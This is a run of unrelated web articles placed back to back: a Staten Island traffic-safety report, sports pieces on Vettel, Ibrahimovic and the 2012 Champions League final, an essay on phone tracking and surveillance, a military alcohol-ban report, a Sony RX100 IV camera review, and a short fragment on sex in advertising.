The department's Signals Division is studying the boulevard to determine if there is a need for new signals or further timing modifications based on traffic volumes and pedestrian demand.
Debris strewn on the sidewalk and right lane of Hylan boulevard as seen in photos taken on Monday, May 11, 2015, during fatal, two-car crash on Mother's Day . (Staten Island Advance/Maura Grunlund)
OUTDATED INFRASTRUCTURE
Public officials and transportation advocates say the number of traffic fatalities on Staten Island are part of a larger problem that's tied to the borough's inadequate mass transit network and infrastructure that has remained largely unchanged since the population boom following the opening of the Verrazano-Narrows Bridge in 1964.
"What we're seeing is the result of a community that's outgrown its infrastructure," said Greg Mihailovich, the Staten Island organizer at the nonprofit Transportation Alternatives. "People constantly talk about the rapid development and the road system is simply inadequate. There's a lack of real mass transit. It's not really pedestrian friendly or bike friendly. With more and more people on the same roads we're starting to see the system bursting at its seams."
As Borough President James Oddo put it, "You literally have horse-and-buggy trails that are now main thoroughfares."
Since 1970, Staten Island's population has grown by about 60 percent, from 295,443 to 473,279 in 2014, according to Census data. It's a much greater growth than any other borough experienced during that time period. (Queens, with an estimated 17 percent increase over that 44-year span, is the next closest.)
"Part of the problem is that, because Staten Island has seen such a seismic shift in population, there are a lot of people that remember when you could drive from Tottenville to the ferry in 15 minutes," Mihailovich said. "And once upon a time that was possible, but the borough changed. Those days are gone. Instead of lamenting over what it used to be -- how can we make it better from here?"
VISION ZERO CLASHES
That's where the city, advocates and residents differ.
Staten Island officials and traffic safety advocates clash on key policies of Vision Zero, like reducing Staten Island speed limits and using cameras for speeding enforcement.
"Vision Zero is wrapped around an ideology that, at its core, is hostile to cars and drivers," Councilman Steven Matteo (R-Mid Island) said. "We live in a borough where cars are essential. It fails to recognize the fundamental transportation differences between Staten Island and the other boroughs and that we face unique challenges."
Matteo believes that the Island's more rural roads in the Mid-Island and South Shore are better fit for a 30 MPH speed limit and that speed cameras, like the one at a school near a Staten Island Expressway exit, are blatant cash grabs. (The city has vehemently denied this.)
Matteo, Oddo and Councilman Joe Borelli (R-South Shore) all have reservations about the effectiveness of automated enforcement and speed limits. All favor an "intersection by intersection" approach to traffic safety. Since taking office, Matteo said he has made 61 requests for stop signs, more than 40 requests for left turn signals, with varying degrees of success, in the name of safety.
One man died and three people were injured in an two-car crash at Hylan Boulevard and Old Town Road in Dongan Hills on Monday morning Nov 9. (Staten Island Advance/Maura Grunlund)
CULTURE OF RECKLESS DRIVING
But Oddo agrees with advocates on one key element concerning traffic safety on Staten Island: A culture of reckless driving has developed over decades of navigating over-congested roads. And it needs to be addressed.
According to DOT data, 67 percent of all Island pedestrian fatalities from 2011 to 2013 are a result from "dangerous driver choices."
Oddo hosted a meeting recently with Mihailovich and Transportation Alternatives representatives to share ideas.
"One truth that I think we all need to embrace is that every day, there is a growing prevalence of selfish, ignorant and reckless driving," Oddo said. "The second truth is that we have to acknowledge that there are many who believe that parts of Vision Zero are unfair, unproductive or grounded in revenue. So these are the parameters and we have to figure out something in between them where we can find common ground to work."
The long-term way to change that culture, Mihailovich and other advocates believe, is through providing better mass transit for the borough through projects like the North Shore Bus Rapid Transit. With reliable mass transit, the dependency on driving would decrease. Commuting perspectives would shift and a culture of reckless driving would naturally recede.
"Decades of inadequate planning and weak transportation infrastructure has led to a system of unsafe roadways," Councilwoman Debi Rose (D-North Shore) said in a statement.
MORE ENFORCEMENT
More immediately, advocates and officials see room for more police enforcement and simple infrastructure upgrades. In 2013, the NYPD issued an average of seven speeding tickets each day, according to an Advance report last month. Under Vision Zero in 2014, that daily average increased to 14. Oddo said the Island could stand to see more.
"Go out and enforce the existing speed limits and hand out as many tickets as you can," he said. "And begin to change behavior that way. I'm about handing out tickets to hit you where it hurts and hopefully make you think twice about blowing through the left hand turn single on Richmond Road and Old Town Road and continuing to go straight -- which I see on a daily basis."
Borelli said that some of Staten Island's more straightforward issues, like pedestrian infrastructure on the South Shore, seem to be lost when it comes to Vision Zero. He points to roads in his district near Staten Island Railway stations that also serve city and school bus stops but don't have sidewalks.
"That's what frightens me -- every time there is a mention of Vision Zero, it's not something that addresses the problems here," Borelli said. "The reality for Staten Island is that we need sidewalks."
The department said it will continue to work with the community on safety initiatives, like the Vision Zero adjustments at Clove Road and Richmond Avenue. And advocates welcome the redesigns.
"Staten Island is crying out for some serious redesign," Mihailovich said. "Adding a turn signal or small change at an intersection -- it's like a Band-Aid approach and eventually that catches up. Acknowledge where Staten Island is going and make the changes accordingly."
His argument was he’d never much cared for ‘Red Bull Vettel’, but he liked ‘Ferrari Vettel’ much more – OK, fine so far. But when I asked why the change of heart, he then claimed Seb has changed drastically, and had become much more friendly and amusing since his switch to the Scuderia.
I wasn’t buying that. My view is that he’s still the same Sebastian Vettel he ever was - the variable here, I suggested, was my friend’s perception of him.
He argued that Vettel was an arrogant, unlikeable character at Red Bull. I countered that the only thing Vettel ever truly did ‘wrong’ at Red Bull was the Malaysian Grand Prix Multi-21 farrago – at the time, it appeared a heat-of-the-moment decision where he let his ruthless, reflex side rule the big-picture element of his brain.
After a period of apparent contrition, and apologies to the team, a few weeks later we discovered he’d actually done it on purpose – to get Mark Webber back for squeezing him at Turn 1 in the Brazilian GP a year earlier when he’d almost lost a world title as a consequence. But that’s hardly a sackable offence…
A previous encounter
I was once treated to a stark example of Vettel’s race-face dark side when he effectively lost the Formula 3 Euroseries title to Paul di Resta in 2006 at Le Mans.
Vettel had already spun a podium finish away in race one, but compounded this by running through the gravel in race two, easing di Resta’s march to the title. Beaten twice by his teammate, the cardinal sin… Imagine the rollicking he’d have received from Dr Marko for that one!
It was the seminal weekend of that season, and I probably broke quite a few rules by gatecrashing parc ferme while the French marshals weren’t looking. I intercepted Vettel in the queue for the weighing scales, literally seconds after he’d got out of the car and removed his crash helmet.
Gone was the tousled-haired smiley kid I’d been keeping tabs on since Formula BMW, where he was clearly a stand-out talent and with a genuinely engaging personality to go with it every time we spoke.
I suddenly felt like I was in a scene from the exorcist – this simply wasn’t the same person I had grown accustomed to dealing with. The most remarkable aspect was he didn’t even sound like his regular self as he growled one-word responses to my questions to what had gone so badly wrong.
In fact, the only multi-word response I got was him suggesting that I’d got what I wanted as a fellow Brit was now going to win the title! Talk about out of character…
So, while I’ll acknowledge that he has a dark side, for want of a better phrase, the other 99 percent of the time Vettel has been nothing but gracious, generous with his time and genuinely funny to be around.
Besides, show me an elite sportsman and multiple world champion who doesn’t pack the ability to be utterly ruthless and single-minded when it suits them?
Tarnished by domination
Seb’s only true ‘crime’ was F1 domination with Red Bull – the pointy finger made an appearance on the podium last Sunday too, but was Twitter full of groans? Hell, no. Everyone loved a truly great race and the outcome of Ferrari (and Red Bull, ironically) beating Mercedes.
To suggest he’s only become a likeable figure since moving to Ferrari just doesn’t wash in my opinion. In fact, I’m really impressed with how he’s managed to keep his head level after following a childhood dream of following in the footsteps of his idol, Michael Schumacher.
If there’s one thing in life that could justify anyone acting like a bit of a jackass, then driving for the most famous F1 team in the world is surely it!
He’s a driver I’ve got a lot of time for, and think that Bernie Ecclestone’s suggestion that Vettel was a worse representative than Lewis Hamilton as a world champion is frankly an odd thing to say. I look forward to hearing what Vettel has to say, because I know he’ll say something rather than the noise that some drivers regularly spout.
Judging the mood perfectly
I enjoyed the way Vettel got a little misty eyed and wistful when it was pointed out that he’d matched Ayrton Senna’s Grand Prix victory tally on Sunday – you could tell that meant a lot. He then quickly snapped back into ‘interview mode’ – another clear mental tool he’s perfected over the years. He’s as sharp as a tack.
His “c’est pour Jules” comment on the radio on the in-lap and on the podium was a mark of the man, and his willingness to learn Italian might even (whisper it) transcend Schumacher in the hearts of the tifosi if he can bring the success that he achieved with Red Bull.
An important part of the whole 'Vettel plus Ferrari equals success' equation will be the constant that he brings to the party. Did you hear his other significant radio comment at the weekend? “This shows what happens when we don’t panic."
It certainly suggests there’s been some recent pulling in different directions in the garage, especially when the Friday practice sessions hadn’t gone to plan.
He brings that blend of Germanic-Franco-Anglo calm from the cockpit that he’s learned in his formative years (remember he raced for Mucke, ART and Carlin before he got to F1) to an Italian outfit that’s got a proven record of maelstrom (just ask Fernando Alonso).
And who knows what they might achieve together if they continue to gel with James Allison at the technical helm?
Another friend of mine suggested recently that Ferrari was unwise to get rid of Alonso. As much as I rate Fernando’s sublime talent, I actually think it was one of its better moves in recent times. That relationship had gone stale; there were doubts from both sides.
The Manchester United's age and desire were questioned when he made the switch to Old Trafford during the summer.
But his 18 goals for Jose Mourinho and a near ever-presence have silenced the naysayers.
Zlatan Ibrahimovic speaking to Thierry Henry ahead of Manchester United against Liverpool
Ibrahimovic says he joined Manchester United to shut his critics up
Former Arsenal and France striker Henry stands between Paul Pogba and Ibrahimovic
Speaking to Sky Sports, he said: 'I have no problem [with the criticism] because I went through this my whole career, this is something that triggers me, gives me energy.
'People talking about me, saying: 'You're dead', ex-players talking, and I don't even remember them when they were playing.
'But one thing for sure is they will remember me for the rest of their lives. I had my little adventure going around different countries, and when they felt it was most difficult for me, I chose to come to England.'
Ibrahimovic believes United are still in the Premier League title race ahead of Sunday's visit of rivals Liverpool, despite finding themselves 10 points behind leaders Chelsea.
Ibrahimovic says he wants to win trophies with Manchester United
Ibrahimovic says he is from the hard-working generation of players
'I'm not chasing anybody, I'm chasing the head trophy, the Premier League. That is my aim,' he added.
'I could make money in China, but I choose to accept this challenge and chose United also, in a situation where they struggled for the last four or five years, and I can finish the task to bring them to the top.
'After many years of talks like 'he can never make it in the Premier League, he can never make it there', I had my little adventure going around different countries, and when they felt it was most difficult for me, I chose to come.
Ibrahimovic and Henry's interview was interrupted by Paul Pogba
'Let's say a person in my position would take the easiest way, go abroad, make money in China, or the other side and settle down with the career he had, I choose not, I took the challenge, accepted the challenge, and that's what I chose.
'That's why I chose United also, in a situation where they struggled for the last four or five years, and if I can finish the task to bring them to the top, I will be more than happy.
'I don't like the easy task, the easy job, the easy objectives, I always had it hard wherever I went. I needed to do much more than the other ones, and that's how I see it here, at the age of 35, people said it would be impossible but I am doing what I am able to do.'
It is the second time that Ibrahimovic has worked with Jose Mourinho and the pair have a special bond after they won the Serie A title at Inter Milan.
And Ibrahimovic left the San Siro to move to Barcelona where he won La Liga under Pep Guardiola.
Ibrahimovic is enjoying playing for Jose Mourinho again after the pair worked together at Inter
Ibrahimovic also played for Pep Guardiola at Barcelona and won the title in Spain
Ibrahimovic has scored 13 goals in the Premier League this season
But having played under both managers, he was keeping quiet over which one he preferred to work under.
He added: 'Two great coaches, two different persons. And I had the opportunity to work with both and won with both, but one stimulated more than the other one.'
And Ibrahimovic believes he is from the old school of players who had to work hard to achieve their goals – something he says he is still doing to this day.
He added: 'I am working hard, I like the hard work, I am very happy that I am from the old generation, the hard-working generation.
'I believe the new generation, let's say it's a bit easier for them, because they get explored in the media in a different way, much bigger, much faster than when I popped up in the football world.
'I met team-mates, played with different teams, and they worked hard to get what they got and achieve.
Ibrahimovic told Pogba he was back on free-kick duty after the Frenchman missed against Hull
Pogba chatted with fellow Frenchman Henry and Ibrahimovic
Ibrahimovic and Pogba have formed a good relationship at Manchester United
Pogba hit the post with a free kick against Hull on Tuesday and Ibrahimovic says he'll be back on duty this weekend
'I don't want to say it's totally different, but I don't see the same hard-working thing today when I see the new generation, because like you say, when I come I like to work hard, and when I work hard I am satisfied.
'I know I am doing something good, but for myself, not for somebody else to say: 'Oh Ibra you are working hard'.'
The interview with Sky Sports pundit Thierry Henry was gate-crashed by the world's most expensive player, Paul Pogba, and the Swede had a warning for young Frenchman.
Ibrahimovic sat out Tuesday's EFL Cup semi-final with Hull and watched as the France international hit the post with a free-kick. The striker was quick to tell his team-mate that he will be back on free-kick duty this weekend.
Uli Hoeneß: “Chelsea didn’t create a single chance, but we’ve still not managed to win, which is unbelievable. It’s hard to put into words. If you have so many chances to wrap up a game, you have to do so. That’s why we’ve lost this match.”
Christian Nerlinger: “Everyone who saw the match knows we deserved to win. What happened is a nightmare for us. We’re deeply disappointed. We created chances. It’s hard to find the right words. It’s a total nightmare, and the mood in the dressing room reflects that. We were clearly the better team.”
Jupp Heynckes: “The team and I set out with the target of winning the trophy. But I’m well aware of how cruel football can be, and cursing your fate doesn’t help. But leaving the field as losers tonight leaves a bitter taste. We simply missed too many chances. We didn’t grasp the need to take our chances. Normally you wouldn’t get so many opportunities against a team like Chelsea. And if you take the lead after 83 minutes, you have to see it through to the end.”
Heynckes: (on Müller’s substitution) “Müller had calf problems. He signaled that he wanted to come out and I had to react. Both sides were exhausted after 120 minutes. As the attacking team we were the more active side and therefore more tired. When someone signals that they can’t take a penalty, others have to step up and thats how it went with the Neuer penalty.”
Heynckes (on a season without titles) “I know what the standards are of a club that has always been so successful and to go without any titles. In that sense it isn’t a very good season. But we reached 73 points in the league and made the Champions League final. Therefore there are two ways to look at it.”
Heynckes: (on Robben’s refusal to take a penalty) “It is understandable that he didn’t have the confidence to take a penalty after he missed one earlier.”
Heynckes: (on Di Matteo) “As the club owner I would immediately give him a three year contract.”
Thomas Müller: “That’s football. As we’ve seen often enough in the past, the team with the cup in their hands aren’t always deserved winners. It’s hard to put into words, but at the end of the day, football isn’t everything.”
Manuel Neuer: “We had everything in our favour. We had three match points but didn’t take them. We’re very, very disappointed. Taking the game as a whole, you’d never think Chelsea would come away as winners. The players are in the dressing room with their heads down right now. It’s very quiet in there.”
Wolfgang Niersbach (DFB president): “There’s no justice in football. What’s happened here is unbelievable. I’m still speechless after this match. How are we supposed to look to the future? We look back instead, and it hurts.”
Joachim Löw (German National Team coach): “Despite this defeat, let me congratulate Bayern on a top-class Champions League campaign. Bayern have given us some fantastic matches, especially against Madrid. They were the better team against Chelsea for 120 minutes and had the better chances. Football can be brutal sometimes.”
Mathias Sammer (DFB-Sportdirektor): “If this is the future of football then this is a disaster. It is not right that you can win titles with a style of football like Chelsea showed.”
Roberto di Matteo (Chelsea Coach): “Bayern played a very good game and created many more chances than we did but we were a bit lucky tonight. We worked very hard to reach this goal and will celebrate accordingly.”
Peter Cech (Chelsea goalkeeper) “This is fantastic. We lost once on penalties in the 2008 final. Football is just crazy. And this in a year where we were poor in the league. This is just unbelievable.
Stefan Effenberg: (TV pundit and former Bayern player) “This is a very bitter loss for Bayern that is really painful. They just wasted too many chances.”
Giovane Elber: (former Bayern player) “This is very hard for the team. Chelsea didn’t play great football but they won. That’s how it is.”
It’s February 2012. A news report comes out of Italy on the traffic of women sold into prostitution from Eastern Europe, Africa, and the Far East. La Repubblica journalists Enrico Bellavia and Vladimiro Polchi need only briefly mention that pimps use microchip implants and cell phones to track these women on the ground and prevent their flight. We can imagine the rest. A microchip, of the kind you might use on a dog. A cell phone, and the injunction to carry it — with consequences no doubt more horrifying and brutal but otherwise not entirely unlike those that would befall many ordinary school-age children and mobile workers, who would also face sanctions if they breached the arrangements with, respectively, their parents and employers, and dropped off the grid without adequate notice or a valid excuse.
We know how it goes. We are intimately familiar with the hardware and the software involved and thoroughly habituated to how our technologies of communication can effortlessly double into instruments of control. This control comes in many varieties, ranging from practical convenience — apps that help you locate your phone in case it is lost or stolen, or that “accompany” your child outside the home — all the way down to enabling the dehumanizing violence of human traffickers. The physical device and the software I use to update my followers on my current location or make sure that little Jimmy comes straight back after school are the same that the mafia uses to keep track of Natalia, who isn’t much older.
Are we, in fact, inured to this? I suspect so. Soon we shall stop even noticing such things. In the meantime, while we are still marginally sensitized to it, what are we to make of this contiguity? Should it bother us? Could it be that it points to an actual continuity between consumer behavior and criminal behavior, besides what we might be inclined to consider an incidental link — namely that the popularity of, in the case at hand, location services for smartphones translate directly into the availability of off-the-shelf products for those other, perverted purposes?
In asking this particular question, I aim to circumvent the typical response to such issues in mainstream-media commentary, which is to make the key discriminant one of choice versus imposition. According to this view, there is neither contiguity nor continuity: just good and bad, honest and dishonest uses of the same technologies. Technology itself is neutral, and our mode of engagement with it remains free and rational. To wit: engaging in the most remarkable acts of self-surveillance on social networks such as FourSquare is automatically good because we do so of our own free will and are conscious of the trade-offs. We exchange privacy for product discounts, status, or opportunities of social interaction, harming nobody in the process. By contrast, the stealth collection of data by many free smartphone apps or the routine wholesale changes to the privacy settings foisted upon Facebook users by the service are bad because even when the harm is not substantial these are (rightly) perceived as unwarranted intrusions. Within this frame, it’s easy to categorize the use of cell phones and microchips inserted under the skin to track the movements of women sold into prostitution as the horrifying abuse that it is: a grotesque aberration sitting at the extreme end of the spectrum of nonchoice.
This analysis reflects and reinforces a fundamental ideological bias of our times, which evaluates new technologies’ effects on society in terms of quality of the consumer experience — that is to say, through the eyes of a model consumer. This model consumer is a rational agent who makes informed choices and adopts or rejects each innovation based on its relative merits. But since technological innovation is the (by now quasi-mythical) engine of Western affluence, the model consumer must also be a well-disposed early adopter. She must not be too picky, let alone critique the economic and social system that churns out innovations at a brisk rate. If the model consumer didn’t dutifully stand in line for each new iteration of the iPad, an entire way of life, the very confidence in who we are, would be called into question, with potentially catastrophic consequences. So the model consumer must adopt most new products on the market, and adopt them cheerfully. While mobile technologies do make certain everyday tasks easier or more pleasant, soon enough to justify their expense one must take a step further and regard them not just as tools for business, but as conditions for full participation in society.
It starts with the simple questions: Can I afford not to own a cell phone? Would I still be employable if I didn’t own one? Would I still know what is happening and get invited to parties? The next year, it’s owning a smart phone. Or being on Facebook. Or getting an iPad for the children. None of this is about being aspirational. It’s about keeping up, an imperative sharpened by the economic crisis. So we cut expenses, but not when it comes to technology. Perhaps we eat out less, or travel less. But the cell phone — which
by now has become a smartphone — stays. And the thing about smartphones is that in order to be fully functional they need to know where they are — that is to say, where we are. This knowledge defines them. It is what makes them smart.
If you don’t own one of these devices yourself, you will perhaps have had the experience of being shown a map of your current location by an iPhone owner. This has happened to me at least half a dozen times: “See, this is where we are.” It doesn’t matter that I thought that I knew where I was. My mental map was no match for the crisp precision of the iPhone’s. From that moment, being in that place meant something different. The concept of presence had been redefined. And I thought it was cool, every single time. With mobile Internet and dynamic maps come a host of location services that collectively provide greater and greater incentives for allowing the phone to constantly track your position and broadcast it to other people in your networks. In this way we keep tags on each other and keep track of each other’s absences. “X hasn’t checked in for a few days. I hope she’s okay.”
Geotagging one’s tweets seem to be especially popular at the moment. I wrote this, and I wrote it here. It is no longer simply an utterance, but an utterance with longitude and latitude. This will enrich communication, somehow.
On top of this network of distributed surveillance made up of seemingly benign small brothers and sisters watching (over) one another is another, more traditionally structured layer relating to the adoption of these technologies by companies, families, and schools to track the movements of their employees, children, and students. If I lump these terms together it’s because they are practically interchangeable. Companies track their mobile workers electronically to ensure operational efficiency; families track their children electronically to make sure that they are safe and don’t venture where they are not supposed to; schools track their students electronically to improve security and discourage truancy. But these aren’t different kinds of surveillance. They are all ultimately about controlling bodies in space. They are about enforcing compliance by making the subjects constantly visible and aware that they are being watched.
It doesn’t matter that not all companies, not all families, and certainly not all schools do this. The fact that some of them do, that what 15, 10, perhaps as little as five years ago would have struck us as dystopian fantasies have become routine arrangements, is what we must account for.
And there are the calls to extend them further, to make them universal, integrated in the system by default. A coronial inquest on the death by suicide of a bullied teenager in Rotorua, New Zealand, has recently heard that spy software by a company called MyFone could be installed on all New Zealand cell phones for $200,000, allowing parents logging onto the company’s website to see any calls or texts made to and from the phone and providing a tracking service so that they can find out where their child is at any time. The coroner hasn’t made such a recommendation — not yet at any rate — but that the advice of MyFone was even sought speaks loudly about the present cultural moment.
We may see in this a return to panopticism, a revival of some of the institutions of the disciplinary society — school, family, workplace — that were judged to be in terminal crisis by Gilles Deleuze when he sketched the outlines of the society of control. But if this is the case, then it is a distributed, fluid panopticism in which the subjects under surveillance are also agents of surveillance — both of themselves and in relation to other subjects. In the meantime, the physical confines of those historical institutions have largely broken down. The workplace, most of all, is wherever — and whenever — you happen to be, so long as you remain visible, present, connected to the network, a configuration that relies on self-surveillance as the chief mode of control.
Thus it is principally through the social networks, as opposed to the technologies that detect, track, and broadcast our physical location, that this control is deployed. There is more value in those subjective utterances (“I have boarded the plane,” “I’m in the meeting” or even “I’m going to bed”) than in the objective real-time logging and plotting of our exact longitude and latitude, for the former also reveal our state of mind as well as the willingness to remain connected and to keep sharing that information — a coded layer of meta-surveillance that is essential to the functioning of the system. We want these things to be known about ourselves. We want to be followed, both metaphorically — for this is the primary meaning that the word has on Twitter — and literally, when we broadcast our coordinates for the world to know. GPS is just an instrument, an adjunct.
You may have noticed, and objected to, the blanket use of the pronoun we in this essay. Ordinarily I would argue that participation in the networks is anything but equal, that they are biased toward describing a certain type of subject. But it is important to recognize that the staggering statistics about the adoption of Internet technologies — say, the number of people who have a Facebook profile (900 million people, at last count) or the number of iPhones sold (the figure of 108 million is over one year old) — indicate the extent to which this distributed-surveillance infrastructure has overlaid the older technologies and modalities of communication and socialization. There is very little outside of this particular text, and non-participation isn’t a meaningful option. Unless we acknowledge the totalizing reach of the networks, we might view the use of microchips and cell phones to track the movement of an enslaved workforce as an aberration as opposed to the seamless extension of the logic of the networks themselves and of the economic system that underlies them.
Because in the final analysis this, too, is neoliberalism, with its global flows of reprogrammable labor and its all-pervading circuits of control. The trafficked women in the La Repubblica exposé were first trained in Cyprus and Serbia before doing an “internship” in Russia, during which their earning capacity was tested and evaluated. Then they were delivered to their final destination, be it Italy, France, the Netherlands, or some other country where they would be exploited for maximum gain. Like in any ordinary, well-functioning modern workplace, technology has helped enable faster communication and make the system more efficient, reducing the lags and the downtime as much as the loss or displacement of staff.
SEOUL, South Korea — A weekend ban on drinking has been placed on airmen stationed in South Korea.
Citing an increasing number of alcohol-related incidents involving airmen, the 7th Air Force commander issued a general order Friday that bans alcohol purchase and consumption by all airmen.
The ban began at noon Friday and extends through 6 a.m. Monday, with violators facing punishment under the Uniform Code of Military Justice.
“Over the past few months, the number of alcohol-related incidents resulting in serious injury reached the point where this action became necessary,” Lt. Gen. Jan-Marc Jouas wrote in an editorial published Friday in the Crimson Sky, the command newspaper. “Simply put, the health and welfare of our airmen is too important to allow this trend to continue.”
“It’s not just three near-fatalities that drove this ban on drinking — it’s also the number of arrests for assault or drunk and disorderly conduct; the almost daily emergency room admissions for excessive drinking; the number of careers, marriages, and lives destroyed; and most critically, the impact on our mission and readiness to fight tonight,” the editorial said.
More than 100 Osan-based personnel, most of them airmen, were treated in emergency rooms for alcohol-related incidents in the past year, according to command spokeswoman Maj. Richelle Dowdell. Two airmen were medevaced to Seoul with extremely high blood-alcohol levels.
Dowdell said the temporary alcohol ban was mean to let the command take an overall look at drinking.
“We can’t see a trend on why” drinking-related incidents may be increasing, she said, but recent misconduct has raised serious doubts about readiness.
“This is necessary time to reflect on these incidents that have occurred recently and on what we must do to change,” she said. “The Air Force core values apply on and off base and we must conduct ourselves accordingly.”
Jouas’ editorial hinted that further restrictions could be imposed.
“Hopefully this weekend’s ban on drinking will get everyone’s attention, both as a warning of the risk we face to our mission and our people, and the potential for future, more restrictive steps if we don’t get this problem under control,” he said.
rowland.ashley@stripes.com
What is It?
A very small camera that takes very high-end photos. It accomplishes this with a 20 megapixel 1-inch sensor, which is much larger than the sensor you’ll find in a smartphone or a traditional point and shoot. Combine that with a 24-70mm f/1.8-2.8 lens (that’s a 3x optical zoom), and you’ve got a very capable setup that fits in a pocket.
Those specs have not changed since the last generation of the RX100. In fact, the camera hasn’t changed much at all. The major difference in the Mark IV is the construction of the sensor. The details are very technical, but basically Sony found a new way, by reconfiguring the sensor’s components and wiring, to read data much faster. That enables things like 4K video, super high shutter speeds up to 1/32,000, and an insane burst rate of 16 fps. Yes, it’s a speed demon.
Other changes include a higher resolution viewfinder with 2.35 million dots (the Mark III had 1.4 million), an upgraded autofocus system, and super slow motion video up to 960 fps.
Who’s it For?
People who want the most camera they can fit in a pocket will gravitate toward the RX100 Mark IV. All of the RX100 models are great as carry-around cameras for amateur enthusiasts, but I also know a bunch of pros who keep one stowed in their backpack in lieu of toting a DSLR around.
You’d also be tempted to think that amateur video makers would also gravitate toward the RX100 because of its flashy new video powers, but I don’t quite think that’s true. I’ll explain a bit later.
Design
The new RX100 looks exactly the same as the last one, and almost the same as the original. It’s actually remarkable that over the course of four years, Sony hasn’t changed the look or ergonomics of this camera. It looks cool, for sure, with sleek undecorated lines and a smooth matte finish, but it’s certainly not beyond improving. How about somewhere to grip its slippery surface? How about re-tooling the teeny tiny buttons on the back? Something!
Using It
At its core, using the Mark IV is the same as using last year’s Mark III, or the Mark II before that, so I’ll mostly be focusing on the new features here. If you want a more complete picture of what this camera can do, you’ll want to start by reading our Mark III review.
The good news is that the Mark IV takes the same terrific quality photos. I couldn’t really say whether there is any slight improvement in image quality over the Mark III, as I didn’t have one to compare to directly. Lightroom hasn’t updated it’s RAW compatibility to view Mark IV images yet, so I couldn’t do much to assess noise levels.
Still, I could tell that autofocus has been improved and feels snappy in all but the darkest of conditions. That’s huge, because earlier versions have been a bit sluggish in finding focus, hampering the usability. It’s not as fast as a DSLR, but it’s on par with high-end mirrorless cameras like the Olympus OM-D EM1. I put them head to head, and the Mark IV was just as good at single-shot AF.
This last image is ISO 3200 with noise reduction turned off.
For more image samples at their original resolution, visit our Flickr album. All images are JPG out of camera (no RAW converter yet available).
The pop-up electronic OLED viewfinder, which debuted on last year’s Mark III, is neat in concept but I still find it awkward on such a tiny camera. To pop it out, you have to push a button and then also pull out the eyepiece. I never ever found myself wanting to use it, and when I did, the pressure of my brow resting on the eyepiece was enough to push it back in accidentally. Very annoying. The higher resolution is nice, but it’s still a tiny screen and it feels like you’re looking through a tunnel to see it. Some people like having the stability of holding the camera against their face, but I just don’t see it as worth the additional cost. I’d still rather have the hot-shoe that came with the Mark II.
I’ve always found the RX100’s ergonomics frustrating, too. The buttons are tiny and there’s just no grip whatsoever. Canon’s G7X, which is almost the same size as the RX100, certainly wins in user experience. It has bigger buttons and a great touch interface.
Instead of tweaking these types of things, Sony focused on adding more marketable features. Let’s check out some of ‘em:
The biggest addition is 4K video. Up until now, the only company that has been able to successfully engineer high quality 4K recording into their consumer cameras is Panasonic. Samsung tried, too, but their implementation is janky due to a codec with scant compatibility. Panasonic’s GH4, LX100, and G7 all shoot really great ultra-high-resolution footage that’s easy to store and edit. But now Sony has figured it out in the RX100 Mark IV, as well as the new RX10 and pro level A7r Mark II.
Looking at the 4K footage, it’s richly detailed as you’d expect. The new sensor enables a full pixel readout, which should mean that you won’t see messy jagged edges and rainbow moire patterns. It’s mostly true. The image is clean overall, but not 100 per cent devoid of jagged lines in areas of really fine detail. In low light, it looks OK up to ISO 1600. Any higher and things get quite muddy.
For all the abilities of the new sensor, it couldn’t ameliorate the rolling shutter effect. Distortion is very apparent on quick pans. Also, you can only shoot 4K in 5 minute clips. That probably won’t matter to most people, but it’s the kind of limitation that mentally irks you. But the biggest missed opportunity for the RX100 to be a great serious cam for videographers is the lack of mic or headphone ports.
4K is great, but should you choose to shoot in regular HD mode, you’ll be delighted to find a much smaller amount of rolling shutter. It’s still there, but won’t make your footage look ridiculous when moving the camera around. I still suggest shooting in 4K most of the time, which provides much more detail even when scaled down to 1080 resolution.
Of course, if 4K is your thing, you might want to consider the Panasonic LX100. It’s not quite as small as the RX100, but almost, and it has a superior viewfinder and control layout.
Another whiz-bang feature being hyped on the Mark IV is the slow motion mode. You can record at 60, 120, 240, 480, or 960 fps. That’s pretty insane, and the kind of feature usually restricted to really expensive specialty cameras. 960 fps will play back footage 40x slower than real time (when viewed at 24 fps). But before you get too excited, there are many caveats to consider.
You can only record for 4 seconds at a time (2 seconds in Quality Priority mode). When slowed down that extends to a long stretch of time: three minutes at 960 fps. At least Sony makes it pretty easy to capture the right moment. You can choose to have the camera continuously buffer slow-motion footage, then just press record to store the last few seconds you saw. This is what I did to catch myself lighting a match in our sample video below.
Unfortunately, it’s a pain in the ass to set up. You’re not just pressing record like a normal video. First, you have to flip the camera into HFR (high frame rate) mode. Then you have to press the rear centre button to enter Standby mode. Then you have to press the record button to actually start recording. If that’s not enough of a chore, it’s not clear what the camera is actually doing during that process. When you’re recording, the display says “buffering”. When you reach the four-second limit, the display says “recording”, even though it’s actually converting the already-recorded footage into slow motion. It’s really weird and bound to confuse a great many users.
You also might be disappointed with the result. The slow-motion modes sacrifice resolution the higher you go, with the top speed recording at a pretty low-res 1200 x 800. In 960 fps mode, the image is jagged and blurry. And you need a lot of light (either studio lights or ample sunlight) to get a decent result. Bumping the ISO will make it look even crappier. These modes are fun for novelty effect, for sure. But you won’t want to intercut the clips into your polished cinematic production. 240 fps mode is much better, but I’d recommend shooting at 120fps at 1080 for the best result.
Like
- Small and stylish, even with a three-year-old design.
- Great image quality.
- Autofocus is improved.
- Great overall 4K image quality.
- New sensor tech enables neat tricks like super slow motion, 1/32000 shutter speed, and 16 fps burst mode.
No Like
- Controls are cramped, and they’ve been that way since 2012!
- The viewfinder is hampered by awkward mechanics and tiny size.
- Image quality on super slow motion footage is extremely bad.
- There’s no way to attach an external microphone.
- Whoa is it expensive.
Should You Buy It?
It’s hard to find a great reason to drop £840 (that is the RRP, of course, and it can be found cheaper, but still in the mid-£600 range) on the RX100 Mark IV. The biggest reason lies in the Panasonic LX100. That camera is cheaper (RRP £700, but hovering around the £450-£500 mark online), has better controls, and does 4K video just as good, if not better. Sony’s only technological advantage is the super slow-motion, which has very niche appeal.
Sony loves to show off new technology as fast as possible, and that’s what they are doing with the Mark lV. The technology that brings super fast readout speeds to their digital sensors is amazing, and it will enable new and awesome things in many future Sony cameras. The RX100 Mark IV is a preview of those awesome things.
Source: Jesse Marczyk
If sex happens to be attention grabbing, the natural question arises concerning what you might do with that attention once you have it. Much of the time, that answer will involve selling some good or service. In other words, sex is used as a form of to try and sell things. "If you enjoyed that picture of a woman wearing a thong, you'll surely our reasonably-priced laptops!" Something along those lines, anyway. Provided that's your goal, lots of questions naturally start to crop up: How effective is sex at these ? Does it capture attention well? Does it help people notice and remember your product or brand? Are those who viewed your sexy advert more likely to buy the product you're selling? How do other factors, the sex of the person viewing the ad, contribute to your success in these realms?
